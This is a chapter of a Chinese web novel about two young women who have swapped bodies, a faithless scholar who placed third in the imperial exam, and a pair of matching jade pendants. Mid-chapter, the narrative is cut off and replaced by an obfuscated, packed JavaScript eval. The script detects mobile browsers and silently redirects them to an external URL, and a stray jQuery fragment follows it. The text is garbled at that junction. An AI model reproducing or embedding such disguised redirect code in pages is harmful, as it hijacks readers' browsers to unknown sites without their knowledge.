15. 信物

作品:《钓金龟

    回到侯府,霍溪迫不及待打听,宋琢玉与那位探花郎会面的情形。


    宋琢玉失魂落魄地呆坐在椅子上,一言不发,任是霍溪怎么询问,她都不做声。


    最后怔怔地落下泪来。


    不是放声大哭,而是那种压抑着,从胸腔喉头溢出的呜咽,不用细说,就知道她这是受了天大的委屈。


    这可把霍溪急坏了,把珍珠叫来打听情况。


    珍珠愣住了,道:“奴婢一直站在稍远的地方看着,并没有看出什么异常来。”


    不仅没有异常,她还觉得两人聊得很好呢。


    问不出来,霍溪只能将丫鬟打发了,转头怒道:“是不是那狗屁探花郎轻薄你了?”


    说完撸起袖子,做出一副打架的起势,“我这就去找她为你讨回公道。”


    眼看差不多了,宋琢玉也不想闹得太过分,急忙拉住霍溪的手臂道:“你别去,别去!”


    霍溪看向她,“那你总要告诉我到底发生什么事了。”


    宋琢玉擦干眼泪哽咽道:“我不知道怎么跟你解释,那位探花郎不是旁人,是我未婚夫,而不久前她修书一封告诉我说自己落榜了,让我等着他……今日他又言语中中伤我,口口声声说我这个青梅竹马的未婚妻早就因病去世了。”


    霍溪瞪大了眼睛,简直不敢相信,横眉竖目:“他竟是这样下三滥的人。”


    宋琢玉摇摇头轻声道:“人往高处走,水往低处流,他想更进一步无可厚非,毕竟……我的身份只会拖累她。”


    “你还帮他说话。”霍溪恨铁不成钢。


    宋琢玉默默垂着泪不说话。


    霍溪气急了:“这样的负心汉,我绝不放过他。”


    宋琢玉抬头看向她,“人家如今是探花郎,是天子门生,我一个孤苦无依的女子又能做的了什么?”


    “怎么不能,你就直接质问她,吓都能吓死他。”


    宋琢玉犹豫:“我只是不明白,她为何要口口声声说我已经死了。”


    霍溪气得倒仰:“气死我了,若是不能为你出这口气,我怕是几天都睡不着,不说别的,难道你就心甘情愿被她抛弃欺辱吗?”


    宋琢玉咬着唇,随后坚定地摇头:“妹妹你说的对,她凭什么这样欺负我,我要为自己做主。”


    霍溪大为满意道:“孺子可教,到时候我们一起去,我就往他面前一站,势必将那负心汉探花郎吓得屁滚尿流。”


    宋琢玉点头,“只是就我们两个如何能成事呢?”


    霍溪大手一挥,道:“这个你不用担心,我自有打算。”


    随后几乎是马不停蹄,霍溪就叫人把自己的最可靠的兄长霍陵叫了回来。


    霍陵一进屋,霍溪就叽叽喳喳地说个不停。


    “哥我跟你说,那什么探花郎,呸……真的太不是东西了,原来他是有未婚妻的,居然还跑来与我议亲,这样的人给我当奴才我都不要,真是气死我了,我不管,哥你一定要帮玉姐姐讨回公道。”


    她几乎是不带喘气,讲了一大串。


    霍陵揉了揉额角,有些无奈。


    他看了一眼宋琢玉:“你来说是怎么一回事。”


    宋琢玉满脸泪痕,她擦干眼泪,低垂着脑袋缓缓道:“世子,是这么回事,那位探花郎原本是我的未婚夫,他写信给我谎称自己落榜,婚约作罢,我信以为真,却完全没想到,她不仅考中了,还是前三甲,更让我意想不到的是他居然还在却城与您妹妹议亲。”


    霍陵眉头轻蹙,成功抓住了重点,“你的意思是你与那位探花郎一早就认识,而且对方还是你的未婚夫?”


    宋琢玉有些纠结,想了想才说:“我们两个并没有父母之命也没有媒妁之言,不过是相互有些许情意罢了,只有口头许下的婚约。”


    她语气顿了顿,接着道,“我想我大概是误会了,我想我可能或许是我误会了,他应该只是把我当妹妹或是亲人,不然不至于做出这样的事情来。”


    她又掏出身上的那位玉璜,坚定道:“日后我们二人各有自己的路要走,那这信物下次见面我就还给他。”


    宋琢玉低头看着手中的玉璜,霍溪却一把夺过。


    “还给他做什么,说不定还能卖点钱。”


    霍陵斜睨了宋琢玉一眼,大概了解了此事,只是对他们二人感官一样地差,一个有未婚妻却背信弃义与别人议亲,另一个也没好到哪里去,跟前一个男人还没彻底了断,就明目张胆地来勾引自己。


    不过这些事似乎跟他没什么关系,他似乎注意到了另一个更重要的信息,他仔细看了一眼宋琢玉又看向了霍溪。


    思索了片刻,认真地问:“你二人从前并不认识,甚至遥隔百里之外,却能阴差阳差互换身体,这本身就是一件奇怪的事。”


    霍溪插嘴道:“哥,我们并不是毫无联系,你忘了,我们可是同年同月同日生同时辰所生。”


    “这世上之人,千千万万,同一时间所生的又岂止你们二人。”


    霍溪点头:“是有道理,那就是还有别的原因吗?”


    霍陵道:“当中必然有一个连接点。”这个连接点或许就与这探花郎有关系。


    三人在屋里商讨了好一会,说得嘴巴都干了。


    霍溪便扬声道:“珍珠上茶。”


    屋外应了一声,没多久珍珠就捧着三盏茶进来。


    她低眉顺眼,敛声屏息,什么也不敢多看。


    放下茶,她正要离开。


    霍溪叫住了她。


    “珍珠这屋子里的首饰向来是你负责的,你看看这个东西值多少,拿去给我卖了。”


    宋琢玉下意识觉得不妥,想要阻止。


    珍珠接过来,纳闷道:“姑娘这东西奴婢不是让琥珀收起来了吗,怎么又拿出来了。”


    “有这样的事吗?”霍溪全然不记得。


    “不过这块玉,与先前的那一块看着好像又不太一样,这块要光滑莹润许多。”


    经过珍珠的提醒,霍溪终于想起来了,这玉她也有块一样的。


    当两块玉璜摆在面前时,霍溪也有些呆住了。


    霍陵拿起霍溪那一枚玉璜问:“这是哪来的?”


    过了好一会,霍溪才想起来:“是那位探花郎给的信物。”


    他将这信物留下,表的是一份诚意,侯夫人愈发满意了,就让丫鬟将这东西拿来给了霍溪。


    这样的丑东西居然有两个!


    霍陵将两枚玉璜都捏在手里,两个半壁形的玉璜,青黄色泽,上有镂空的繁复花纹,已磨损了大半,大小一模一样,仅仅是一个比较莹润光滑,另一个则比较粗糙,拼在一起,恰好是一个完整的圆环。


    他坚信这世间奇诡之事,必不是空穴来风,定然有迹可循,就比如这件看起来几乎不可能发生的事情。


    两位少女此前从未见过,在距离百里开外,互换身躯。


    如此的巧合,莫非


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596807|171659||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    关窍就在这玉璜之上。


    霍陵先问宋琢玉:“宋姑娘出事之时可是带着这玉璜?”


    宋琢玉点头,“自他将这东西送我之后,我就一直随身带着,从未离身。”


    霍陵点头,又看向自己的妹妹霍溪。


    “以我对你的了解,这东西你不该会带在身上,说说吧,怎么回事?”


    霍溪说起来就生气:“还不是齐凡,一直躲着不见我,我那天本想着带在身上,好好气他一气,谁知道……”


    人家没来,她还从树上摔下来了。


    霍溪注意到自己兄长一言难尽的脸色,知道这实在是个丢人的事情,就再不敢说了。


    宋琢玉视线却一直落在霍陵的身上,见他拧眉深思,下意识地顺着他的话去思考,片刻后她问:“世子是不是怀疑就是这东西让我们互换了身体吗?”


    霍陵点头:“有这种可能。”


    霍溪听闻,扑上去要把玉璜抢回来:“那这东西更不能还给他了。”


    霍陵的手不过轻轻一抬,叫霍溪扑了个空,好在宋琢玉拦腰抱住了她,要不然指定要摔个跟头。


    霍陵多看了宋琢玉一眼,随后斥责道“冒冒失失,这东西先让我保管,我会让人查查是个什么来头?”


    他语气顿了顿,忽然看向宋琢玉:“宋姑娘介意吗?”


    宋琢玉摇头:“这东西我们拿着也没用,世子尽管拿去。”


    霍溪歪着头看向自己的兄长:“哥,你怎么不问问我同不同意?”


    霍陵直接无视她。


    霍陵离开后。


    霍溪气得对霍陵嘟囔道:“我哥也太不把我当一回事了,什么都不考虑我。”


    半晌发现没有人回自己。


    这时才注意到宋琢玉一直盯着霍陵离开的方向。


    霍溪忍不住揶揄:“你不会是看上我哥了?”


    宋琢玉急忙辩解:“不是的,我没有。”


    嘴上说没有,脸却分明红了,“世子天人之姿,哪里看得上我。”


    霍溪怕她一头扎进去,叹道:“你可别轻易喜欢我哥,不然有的是苦头吃。”


    宋琢玉问:“为什么这么说?”


    霍溪心道,果然是被他哥那张皮囊给欺骗了,她环顾四周,注意到这里确实没有外人这才道:“你不知道我哥自小就长得好看,还特别聪明,什么青梅竹马都好七八个,长大后喜欢她的姑娘那真是一个屋子都塞不下,更不用说他不久前跨马游街大出风头,可能是就是因为喜欢她的姑娘太多了,我哥就很讨厌女人,尤其是那些别有用心的女人,时间长了他也慢慢练就了一副铁石心肠,丝毫没有什么怜香惜玉之心。”


    “之前就有一位姑娘因为迷恋我哥,想见他一面闹到要自杀的程度,我哥却丝毫不曾动容,那姑娘后来嫌弃丢脸,据说去庙里修行去了,你说惨不惨,所以呢,我也是为了你好,才提醒你一下。”


    宋琢玉了然,这情况跟她猜测得几乎差不多,不仅是块难啃的硬骨头,更像一块石头,而她之前的所作所为,剑走偏锋,已经给对方留下了一个坏印象,加上今日这件事,她大概知道对方应该对他有着极深的偏见。


    照理说世上男人千千万,她不该在此浪费时间……


    宋琢玉笑了笑,低声道:“放心吧好妹妹,我只是比较仰慕世子的学识,我有自知之明的。”


    霍溪听她这么说,也放下心来。


    宋琢玉默默喝了一口茶。